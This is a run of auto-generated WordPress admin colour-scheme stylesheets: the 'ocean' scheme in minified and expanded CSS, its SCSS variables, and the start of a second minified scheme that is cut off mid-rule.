#9ebaa0}.attachment.details .check{background-color:#9ebaa0;box-shadow:0 0 0 1px #fff,0 0 0 2px #9ebaa0}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #9ebaa0}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#9ebaa0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#9ebaa0}.theme-filter.current,.theme-section.current{border-bottom-color:#738e96}body.more-filters-opened .more-filters{color:#fff;background-color:#738e96}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#9ebaa0;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#9ebaa0;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #bccfbd,0 0 2px 1px #9ebaa0}div#wp-responsive-toggle a:before{color:#f2fcff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#9ebaa0}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#627c83}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f2fcff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#9ebaa0}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#9ebaa0}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#9ebaa0}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#9ebaa0}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #bccfbd,0 0 2px 1px #9ebaa0}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#9ebaa0;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#9ebaa0}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#9ebaa0;border-style:solid;box-shadow:0 0 0 1px #9ebaa0;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#9ebaa0}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #bccfbd,0 0 2px 1px #9ebaa0}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#9ebaa0;color:#0073aa}$scheme-name: "ocean";
$base-color: #738e96;
$icon-color: #f2fcff;
$highlight-color: #9ebaa0;
$notification-color: #aa9d88;
$low-contrast-theme: "true";

$form-checked: $base-color;

@import "../_admin.scss";
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23738e96%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #738e96;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #9ebaa0;
  box-shadow: 0 0 0 1px #9ebaa0;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #9ebaa0;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #9ebaa0;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button-primary {
  background: #9ebaa0;
  border-color: #9ebaa0;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #a7c0a9;
  border-color: #95b497;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #9ebaa0;
}
.wp-core-ui .button-primary:active {
  background: #8faf91;
  border-color: #8faf91;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #9ebaa0;
  color: #fff;
  border-color: #719a74;
  box-shadow: inset 0 2px 5px -3px #253426;
}
.wp-core-ui .button-group > .button.active {
  border-color: #9ebaa0;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #738e96;
}
.wp-core-ui .wp-ui-text-primary {
  color: #738e96;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #9ebaa0;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #9ebaa0;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #aa9d88;
}
.wp-core-ui .wp-ui-text-notification {
  color: #aa9d88;
}
.wp-core-ui .wp-ui-text-icon {
  color: #f2fcff;
}

/* List tables */
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #738e96;
}

.view-switch a.current:before {
  color: #738e96;
}

.view-switch a:hover:before {
  color: #aa9d88;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #738e96;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #f2fcff;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #9ebaa0;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #627c83;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #627c83;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #d5dde0;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #d5dde0;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #9ebaa0;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #9ebaa0;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #9ebaa0;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #aa9d88;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #627c83;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #f2fcff;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #9ebaa0;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #738e96;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #f2fcff;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #9ebaa0;
  background: #627c83;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #9ebaa0;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #9ebaa0;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #627c83;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #8f9a9e;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #d5dde0;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #f2fcff;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #9ebaa0;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #9ebaa0;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #f2fcff;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #f2fcff;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #879ea5;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #aa9d88;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #998d7a;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #879ea5;
  background-color: #879ea5;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #9ebaa0;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #d5dde0;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #9ebaa0;
  border-color: #8faf91;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #9ebaa0;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #9ebaa0;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #9ebaa0;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #9ebaa0;
}

.attachment.details .check {
  background-color: #9ebaa0;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #9ebaa0;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #9ebaa0;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #9ebaa0;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #9ebaa0;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #738e96;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #738e96;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #9ebaa0;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #9ebaa0;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #bccfbd, 0 0 2px 1px #9ebaa0;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #f2fcff;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #9ebaa0;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #627c83;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #f2fcff;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #9ebaa0;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-right-color: #9ebaa0;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #9ebaa0;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-right-color: #9ebaa0;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #bccfbd, 0 0 2px 1px #9ebaa0;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #9ebaa0;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #9ebaa0;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #9ebaa0;
  border-style: solid;
  box-shadow: 0 0 0 1px #9ebaa0;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #9ebaa0;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #9ebaa0;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #9ebaa0;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #bccfbd, 0 0 2px 1px #9ebaa0;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #9ebaa0;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23523f6d%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#523f6d}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#a3b745;box-shadow:0 0 0 1px #a3b745}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#a3b745;color:#262a2e;box-shadow:inset 0 2px 5px -3px #a3b745}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#a3b745;border-color:#a3b745}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#829237;color:#829237}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#b6c669;color:#616d29;box-shadow:0 0 0 1px #b6c669}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#a3b745;border-color:#a3b745;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#a9bd4f;border-color:#99ac41;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #a3b745}.wp-core-ui .button-primary:active{background:#93a43e;border-color:#93a43e;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#a3b745;color:#fff;border-color:#727f30;box-shadow:inset 0 2px 5px -3px #000}.wp-core-ui .button-group>.button.active{border-color:#a3b745}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#523f6d}.wp-core-ui 